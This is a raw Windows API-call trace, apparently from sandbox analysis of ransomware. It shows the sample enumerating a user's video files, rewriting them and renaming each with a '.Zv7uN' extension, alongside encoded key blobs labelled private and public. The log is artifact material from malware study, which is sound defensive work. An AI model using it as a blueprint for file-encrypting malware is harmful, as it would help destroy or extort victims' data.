[0087.826] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QsERwYTXRV\\4GUo.mp4", dwFileAttributes=0x80) returned 1 [0087.829] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0087.829] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1ef003c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0087.830] GetCurrentThreadId () returned 0xa30 [0087.830] GetCurrentThreadId () returned 0xa30 [0087.830] GetCurrentThreadId () returned 0xa30 [0087.831] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0087.831] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x2c6bc7c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0087.831] GetCurrentThreadId () returned 0xa30 [0087.831] GetCurrentThreadId () returned 0xa30 [0087.831] GetCurrentThreadId () returned 0xa30 [0087.831] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QsERwYTXRV\\4GUo.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\qserwytxrv\\4guo.mp4"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c [0087.831] SetFilePointer (in: hFile=0x11c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f694*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f694*=0) returned 0x0 [0087.831] SetFilePointer (in: hFile=0x11c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x0 [0087.831] SetFilePointer (in: hFile=0x11c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x177f5 [0087.832] SetFilePointer (in: hFile=0x11c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x0 [0087.832] ReadFile (in: hFile=0x11c, lpBuffer=0x1efff40, nNumberOfBytesToRead=0x177f5, lpNumberOfBytesRead=0x18f6a0, lpOverlapped=0x0 | out: lpBuffer=0x1efff40*, lpNumberOfBytesRead=0x18f6a0*=0x177f5, lpOverlapped=0x0) returned 1 [0087.836] CloseHandle (hObject=0x11c) returned 1 [0087.838] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QsERwYTXRV\\4GUo.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\qserwytxrv\\4guo.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c [0087.841] WriteFile (in: hFile=0x11c, lpBuffer=0x1f17f70*, nNumberOfBytesToWrite=0x177f5, lpNumberOfBytesWritten=0x18f6ac, lpOverlapped=0x0 | out: lpBuffer=0x1f17f70*, lpNumberOfBytesWritten=0x18f6ac*=0x177f5, lpOverlapped=0x0) returned 1 [0087.847] CloseHandle (hObject=0x11c) returned 1 [0087.855] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QsERwYTXRV\\4GUo.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\qserwytxrv\\4guo.mp4"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QsERwYTXRV\\4GUo.mp4.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\qserwytxrv\\4guo.mp4.zv7un")) returned 1 [0087.856] GetCurrentThreadId () returned 0xa30 [0087.856] GetCurrentThreadId () returned 0xa30 [0087.856] GetCurrentThreadId () returned 0xa30 [0087.857] GetCurrentThreadId () returned 0xa30 [0087.857] GetCurrentThreadId () returned 0xa30 [0087.857] GetCurrentThreadId () returned 0xa30 [0087.857] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ee9f930, ftCreationTime.dwHighDateTime=0x1d5dadf, ftLastAccessTime.dwLowDateTime=0x8a5987d0, ftLastAccessTime.dwHighDateTime=0x1d5da80, ftLastWriteTime.dwLowDateTime=0x8a5987d0, ftLastWriteTime.dwHighDateTime=0x1d5da80, nFileSizeHigh=0x0, nFileSizeLow=0xb7cc, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="BnVXNRl_cPdm7g.avi", cAlternateFileName="BNVXNR~1.AVI")) returned 1 [0087.857] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0087.857] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0087.857] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QsERwYTXRV\\BnVXNRl_cPdm7g.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\qserwytxrv\\bnvxnrl_cpdm7g.avi"), fInfoLevelId=0x0, lpFileInformation=0x18f6e0 | out: lpFileInformation=0x18f6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ee9f930, ftCreationTime.dwHighDateTime=0x1d5dadf, ftLastAccessTime.dwLowDateTime=0x8a5987d0, ftLastAccessTime.dwHighDateTime=0x1d5da80, ftLastWriteTime.dwLowDateTime=0x8a5987d0, ftLastWriteTime.dwHighDateTime=0x1d5da80, nFileSizeHigh=0x0, nFileSizeLow=0xb7cc)) returned 1 [0087.857] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QsERwYTXRV\\BnVXNRl_cPdm7g.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\qserwytxrv\\bnvxnrl_cpdm7g.avi")) returned 0x20 [0087.857] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QsERwYTXRV\\BnVXNRl_cPdm7g.avi", dwFileAttributes=0x80) returned 1 [0087.859] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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